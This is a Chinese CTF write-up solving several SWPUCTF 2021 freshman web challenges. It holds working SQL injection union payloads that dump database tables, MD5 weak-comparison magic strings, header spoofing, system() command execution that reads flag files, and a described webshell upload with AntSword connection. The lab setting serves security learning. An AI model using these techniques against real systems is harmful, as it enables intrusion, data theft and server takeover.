[SWPUCTF 2021 新生赛]jicao
json_decode介绍:
json_decode
(PHP 5 >= 5.2.0, PECL json >= 1.2.0)
json_decode — 对 JSON 格式的字符串进行编码
说明
mixed json_decode ( string $json [, bool $assoc ] )
接受一个 JSON 格式的字符串并且把它转换为 PHP 变量
参数
json
待解码的 json string 格式的字符串。
assoc
当该参数为 TRUE 时,将返回 array 而非 object 。
例如:$json = ‘{“a”:1,“b”:2,“c”:3,“d”:4,“e”:5}’;
<?php
$json = ‘{“a”:1,“b”:2,“c”:3,“d”:4,“e”:5}’;
var_dump(json_decode($json))
var_dump(json_decode($json,true))
["a"] => int(1)
["b"] => int(2)
["c"] => int(3)
["d"] => int(4)
["e"] => int(5)
所以为满足if条件,输出flag,构造:
get:json={"x":"wllm"}
post:id=wllNB 得到flag。
[SWPUCTF 2021 新生赛]easy_md5
<?php
highlight_file(__FILE__);
include 'flag2.php';
if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name'];
$password = $_POST['password'];
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
else {
echo "wrong!";
}
}
else {
echo 'wrong!';
}
?>
代码审计得知,我们需要让name!=password同时保证md5加密后的name与md5加密的password==.根据php弱类型比较,MD5加密后为0e开头的数字的字符串有:QNKCDZO,s878926199a。
get post传给name与password后得到flag。
[SWPUCTF 2021 新生赛]caidao
直接蚁剑连,密码是wllm。找目录发现在/flag里。
[SWPUCTF 2021 新生赛]easy_sql
ctrl+u查看源码得知,参数是wllm。
通过报错发现存在字符型注入。
1' order by 3--+
用order by 查询字段数,查得字段数为3.
union select 联合查询得知回显位位2,3
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 查询表名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="test_tb"--+ 查询字段名
-1' union select 1,2,group_concat(id,flag) from test_tb--+
得到flag。
[SWPUCTF 2021 新生赛]Do_you_know_http
刚进去看见,Please use 'WLLM' browser! burp抓包改一下browser。
之后在Response里看见location:./a.php,访问试试。
You can only read this at local!只能本地读取,因此我们更改XFF位127.0.0.1.
得到 Location: ./secretttt.php。访问,得到flag。
[SWPUCTF 2021 新生赛]easyrce
system("ls /")发现flllllaaaaaaggggggg。
再执行system("cat /flllllaaaaaaggggggg"). 得到flag。
[SWPUCTF 2021 新生赛]easyupload1.0
这是一道文件上传题目,我们创建一个空文本文档,然后更改后缀位.jpg绕过检测。
上传文件,并且burp_suite进行抓包。
在文件里写入我们的php一句话木马,并更改filename后缀为php。
上传成功,用蚁剑连接一下。
连接成功,在目录中找flag。发现是错误的flag。
这里之后就不会做了。居然是假的flag。看其他师傅题解后,说是写phpinfo上传就可以看到flag。重新写一下phpinfo上传。
在environment中得到flag。
版权归原作者 葫芦娃42 所有, 如有侵权,请联系我们删除。